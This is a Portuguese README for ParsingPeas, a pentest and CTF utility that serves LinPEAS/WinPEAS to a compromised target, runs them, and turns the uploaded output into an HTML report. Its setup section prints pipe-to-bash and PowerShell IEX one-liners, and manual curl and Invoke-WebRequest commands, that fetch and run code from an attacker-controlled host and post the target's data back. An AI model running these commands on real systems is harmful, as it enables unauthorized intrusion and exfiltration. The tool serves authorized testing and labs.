
Analisador HTML para saída do PEAS com funcionalidades adicionais
Coleta automatizada do PEASS + um relatório HTML limpo e portátil para trabalhos de escalonamento de privilégios em CTF e laboratórios.
Execute um comando no alvo. O ParsingPeas obtém o LinPEAS/WinPEAS do seu host Kali, executa a varredura, envia a saída de volta e a transforma em um único relatório HTML autossuficiente que você pode ler, pesquisar, classificar e guardar — sem transferência manual de arquivos, sem internet no alvo.
Resumo do relatório — seções agrupadas pelas próprias categorias do LinPEAS, com pontos de descoberta e uma barra de descobertas:

Apenas descobertas — um clique filtra o relatório e a barra lateral para exibir apenas as seções com resultados críticos/altos:

Saída completa do terminal — a varredura completa e fielmente colorida; pesquisável com Ctrl-F:

A saída bruta do PEASS é uma parede de texto de terminal rolante que desaparece no momento em que seu shell morre. O ParsingPeas:
scp, sem hospedar o linpeas você mesmo, sem
copiar e colar a saída de volta para o Kali..html autossuficiente que você
pode copiar da máquina, arquivar ou abrir offline com um duplo clique.É apresentação + logística, não um motor de exploração: ele preserva fielmente a própria coloração e descobertas do PEASS, sem tentar reinterpretá-las.
file://.N crítico / N alto que saltam entre as seções
sinalizadas, além de uma legenda de cores.bash) e WinPEAS (PowerShell).git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh # baixa LinPEAS + WinPEAS para scripts/
pip3 install -r requirements.txt
python3 receiver.py # serve em http://0.0.0.0:8005
Mantenha receiver.py em execução. Descubra o IP pelo qual o alvo o alcançará:
tun0 — ip -4 addr show tun0Linux/Unix (usa curl, com fallback para wget):
curl -sSL http://YOUR_KALI_IP:8005/get-script | bash
Windows (PowerShell / shell reverso):
powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8005/get-script.ps1')"
Escolha a linha única que corresponde ao SO do alvo — Linux serve LinPEAS, Windows serve WinPEAS.
Os relatórios são gerados no seu host Kali em ./reports/. Você pode:
http://YOUR_KALI_IP:8005 e clicar em um relatório, ouxdg-open ./reports/report_<host>_<timestamp>.html
Copie esse único .html para qualquer lugar; ele funciona sozinho.
Alvo → baixa o wrapper do Kali → executa o PEASS → envia a saída via POST → Kali analisa → relatório HTML autossuficiente
O alvo nunca precisa de internet — o wrapper e os binários do PEASS são todos servidos a partir do seu host.
Se a linha única falhar, faça manualmente.
Linux:
# No alvo
curl http://KALI_IP:8005/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt
# Enviar de volta
curl -X POST -H "X-Hostname: $(hostname)" -H "X-Scan-Type: linpeas" \
--data-binary @/tmp/out.txt http://KALI_IP:8005/upload
Windows (PowerShell):
Invoke-WebRequest -Uri http://KALI_IP:8005/get-winpeas -OutFile $env:TEMP\wp.exe
& "$env:TEMP\wp.exe" > $env:TEMP\out.txt
Invoke-WebRequest -Uri http://KALI_IP:8005/upload -Method POST `
-Headers @{"X-Hostname"=$env:COMPUTERNAME; "X-Scan-Type"="winpeas"} `
-InFile $env:TEMP\out.txt
Analisar um dump do PEASS que você já possui:
python3 parser.py /caminho/para/saida_peas.txt # gera um relatório HTML em ./reports/
Edite o início de receiver.py:
curl http://KALI_IP:8005/health para verificar
a conectividade; abra o firewall com sudo ufw allow 8005/tcp./get-linpeas? Execute ./setup.sh para baixar os binários do PEASS.⚠️ Apenas para testes de penetração autorizados, CTFs e uso em laboratório.
Construído sobre PEASS-ng por @carlospolop. O ParsingPeas apenas coleta e apresenta sua saída.
Licença MIT · Contribuições são bem-vindas
| Configuração | Padrão | Observações |
|---|
| Porta | 8005 | altere a linha app.run(... port=...) |
OUTPUT_DIR | ./received_outputs | varreduras brutas enviadas |
REPORTS_DIR | ./reports | relatórios HTML gerados |
SCRIPTS_DIR | ./scripts | binários LinPEAS/WinPEAS |
MAX_UPLOAD_SIZE | 10 MB | imposto — uploads maiores recebem HTTP 413 |